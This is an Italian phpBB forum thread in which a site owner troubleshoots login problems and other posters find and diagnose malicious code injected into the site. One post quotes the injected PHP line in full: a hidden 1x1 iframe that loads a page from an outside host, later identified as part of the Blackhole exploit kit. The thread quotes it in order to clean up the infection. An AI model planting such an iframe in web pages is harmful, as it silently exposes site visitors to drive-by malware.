Il sito non riesce a tenermi loggato

[Angolo]

non credo di aver capito

Non saprei come rispiegarmi, salvo ripetere esattamente quanto già detto.

[poggi37]

Quella stringa non mi pare nativa di phpbb3.. non è che sia una modifica malevola in un tentativo di infettare i toui utenti? alrimenti non mi spiego il perché dell'iframe invisibile...

si ma il fatto e che nessuna mod mi chiede una cosa del genere (come modifica del codice)
quindi nn capisco come possa esserci quella stringa

se la cancello? (visto che sono sicuro al 100% che non sia una modifica fatta da me)

EDIT: non ho nemmeno banner pubblicitari nel sito

[poggi37]

cancellata la stringa
la chat è tornata a caratteri normali e l'errore in cima al forum è scomparso

rimane però sempre il fatto del login che non regge
altre soluzioni?

[Angolo]

http://www.phpbbitalia.net/forum/forum- ... ilit=login

Da leggersi tutto... e cercando c'è altro...

[poggi37]

l'avevo gia letto, ma non era il mio caso
io riesco a loggarmi senza problemi

[Micogian]

Certo che uno script del genere mi fa pensare:

Codice: Seleziona tutto

echo '<iframe src="http://zkakensks.zapto.org/fu2/nig/scan.php?id=58ffb4a4e3b260c7" width="1" height="1" frameborder="0"></iframe>';

Un frame dalle dimensioni di 1x1 pixel con un link, e se non fosse la sola intrusione ?
Dov'era ? normalmente i file presi di mira sono gli index.php.
Controllare la data di modifica dei file, può essere utile per capire quando sono stati modificati.

[Angolo]

l'avevo gia letto, ma non era il mio caso
io riesco a loggarmi senza problemi

Evidentemente lo hai letto molto male, perché lì dice anche di effettuare un ripristino integrale ftp, che esattamente quello che devi fare. Anche per dissipare i ragionevolissimi dubbi espressi da Micogian. Ferma restando la corretta verifica delle voci cookie e server in riferimento al dominio, sempre indicate in quell'argomento.

[Barrnet]

Oltre al ripristino, suggerirei anche una analisi antivirus, tanto per sicurezza

[poggi37]

ho cercato un pò ma non ci capisco nulla, ora non fa + l'acp che fino ad oggi faceva
se qualcuno può dare un'occhiata direttamente mi farebbe un favore, anche a pagamento

[Angolo]

Il tuo sito è infetto da virus, come si sospettava.

Backhole Exploit kit

Soluzioni:
- Seria e approfondita scansione antivirus e antispyware
- Cambio di tutte le password amministrative, inclusa email
- Ripristino integrale ftp

Sperando che il database sia integro (dovrebbe).


Ovviamente, se fatto il ripristino integrale ftp, ricarichi lo script infetto, sarai punto e accapo.
Sul forum trovi tutte le guide e il supporto gratuito, per effettuare con successo le operazioni indicate.

Altrimenti, contattami in privato.